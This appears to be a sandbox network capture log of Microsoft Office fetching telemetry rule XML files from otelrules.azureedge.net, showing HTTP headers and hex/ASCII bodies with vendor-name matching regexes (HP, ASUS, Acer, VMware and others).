2024-10-26 11:45:51 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7aa3dd97-101e-005a-6a20-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114551Z-17c5cb586f64v7xs992vpxwchg000000021g000000001qps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.9	49715	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:51 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:51 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 96753eec-301e-0000-2f2c-26eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114551Z-15b8d89586ff5l62aha9080wv0000000033g000000009vxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:51 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49716	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:51 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:51 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114551Z-16849878b785dznd7xpawq9gcn00000003a000000000aesk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:51 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.9	49717	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:52 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114552Z-r197bdfb6b42rt68rzg9338g1g000000030g0000000095cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49718	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:52 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114552Z-r197bdfb6b4skzzvqpzzd3xetg00000001b0000000004t9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:52 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49719	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:52 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:52 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 802631a9-901e-002a-57ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114552Z-15b8d89586ff5l62aha9080wv000000003600000000060hf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49720	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:52 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114552Z-r197bdfb6b47gqdjqh2kwsuz8c00000002bg000000006e98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:52 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49721	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:52 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:52 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114552Z-16849878b78qfbkc5yywmsbg0c00000001p00000000070pz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49722	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:53 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114553Z-17c5cb586f6mhqqb91r8trf2c800000002r0000000008ffs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49726	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:54 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:54 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 7caa8396-601e-003e-348c-263248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114554Z-17c5cb586f6lxnvg801rcb3n8n00000001sg000000003375 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:54 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49723	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:54 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:54 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 77b1f39f-101e-0079-106b-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114554Z-15b8d89586flspj6y6m5fk442w00000007v00000000025nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:54 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49724	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:54 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:54 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9b05f8c0-e01e-0020-40f2-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114554Z-15b8d89586f5s5nz3ffrgxn5ac00000002r0000000000h0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:54 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O 